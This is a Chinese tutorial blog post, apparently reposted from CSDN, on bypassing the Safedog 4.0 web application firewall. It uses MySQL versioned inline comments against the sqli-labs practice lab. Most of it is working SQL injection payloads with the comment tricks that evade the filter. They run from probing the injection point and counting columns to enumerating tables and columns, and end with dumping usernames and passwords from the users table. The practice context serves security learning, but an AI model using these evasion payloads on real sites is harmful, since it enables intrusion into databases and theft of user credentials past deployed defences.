Mysql-安全狗4.0绕过

waf常见绕过方法

1.注释

/*xxx*/:在mysql里,多行注释是/**/,这个是sql的标准

例如: /*wodemaya*/ 。里面的内容被注释了则不会执行。只是有样子而已

/*!xxx*/:在msql中扩展了注释的功能,假如在起头的/*加上!号,那么意思!后面的内容将被执行

例如:/*!wodemaya*/。那么里面的wodemya将会被执行

/*!50000xxx*/: 这里的50000表示的是假如,如果等于或者高于5.00.00以上的数据库版本,则改语句才会执行。如果不满足不执行

常见用法 /*!90000xxx*/ 故意写一个不存在的数据库版本,让他里面的语句不执行,用于绕过waf的过滤

 

2.案例演示 

安全狗+sqlibase第一关

1.判断闭合方式,判断是否存在注入点

?id=1' and/*!400001=1*/ --+

或者

?id=1' and/*!1*/=/*!1*/--+

判断是字符型还是数字型

 首先先给一个值

页面正常回显

方法一:使用减号进行判断

 

输入10-1页面没有变动,如果是数字型的话,页面则会变动。确定是字符型

方法二(使用and 进行判断) 

我们直接输入and 1=1 被拦截了

现在要做的就是判断他在哪里进行的过滤。

输入and 页面回显正常没有被安全狗拦截

 

当输入1的时候被安全狗拦截了。

 

 在and 后面输入b发现没有被拦截

个人判断他可能在and的后面不能跟数字,可以跟字符

尝试使用/**/注释绕过安全狗

在and和1=1的中间插入注释过,打乱他的规则

从页面显示失败了

尝试使用/*!*/绕过

 

使用/*!*/强制执行这个语句,可以看出/*!*/这个注释没有被过滤。

但是/*!caonima*/里面这个语句,是个错误的语句。执行了没有用

那么我们就吧1=1放在/*1*/里面去让他强制执行

 

但是把/*!1=1*/放在/*!*/里面还是被拦截了

使用/*!400001=1*/进行绕过

 

从页面显示成功了,没有被安全狗拦截

确定闭合方式 

先使用单引号进行闭合,然后将后面的内容注释掉,使用and1=1进行判断

url:?id=1' and/*!400001=1*/ --+

在使用and 1=2 的时候报错,说明存在注入点 

2.确定数据库字段 

?id=1' group by 3--+

?id=1'order/*!90000caonima*/by/*!90000caonima*/3--+

这一步我不知道为啥我的安全狗,没有进行拦截,我下载了好几个版本的安全狗这一关对order by都没有进行 拦截。所以那啥如果这一步不行的话,大家可以参考别人的方法

。其实绕过的思路都是一样的 

 

输入order by 4的时候确定没有4个字段

 

3的时候页面正常回显。确定一共3个字段 

3.确定字段的回显位 

?id=-1' union/*!90000caonima*/Select 1,2,3 --+

 

 

直接输入union select 1,2,3直接被拦截

还是老样子,一步一步的测试。看他在哪里进行过滤

 

url:?id=1' union --+

当输入union的时候页面正常,没有被拦截

 

当输入select的时候被拦截

再次使用/*!*/的方式进行绕过

 

页面正常回显,确定2,3字段回显

 4.确定数据库名

?id=-1' union/*!90000caonima*/select 1,2,database(/*!90000caonimabi*/)--+

?id=-1' union/*!90000caonima*/select 1,2,database/*!(*/ /*!)*/) --+

被拦截

 

当输入database的时候没有被拦截

 还是使用/*!*/进行绕过

第一种

/*!(*/ /*!)*/

被拦截

第二种

(/*!90000caonimabi*/)

页面正常回显数据库名 

 security

5.获取数据表

?id=-1' union/*!90000caonima*/select 1,2,group_concat(table_name)from 
information_schema.tables where table_Schema=database(/*!90000caonima*/) --+

直接被过滤

还是老样子,一个单词一个单词的写,最终发现在database()这个位置进行的过滤

 

成功绕过 

6.获取字段

?id=-1' union/*!90000caonima*/select 1,2,group_concat(column_name)from 
information_schema.columns where table_Schema=database(/*!90000caonima*/)/*!90000caonima*/and/*!90000caonima*/table_name="users" --+

被拦截 

使用/*!*/绕过

 成功绕过

7.拖库

?id=-1' union/*!90000caonima*/select 1,2,group_concat(username,'--',password)
from  security.users --+

绕过 方式千万种,不是只有这一种方式 

猜你喜欢

转载自blog.csdn.net/m0_72755466/article/details/130167138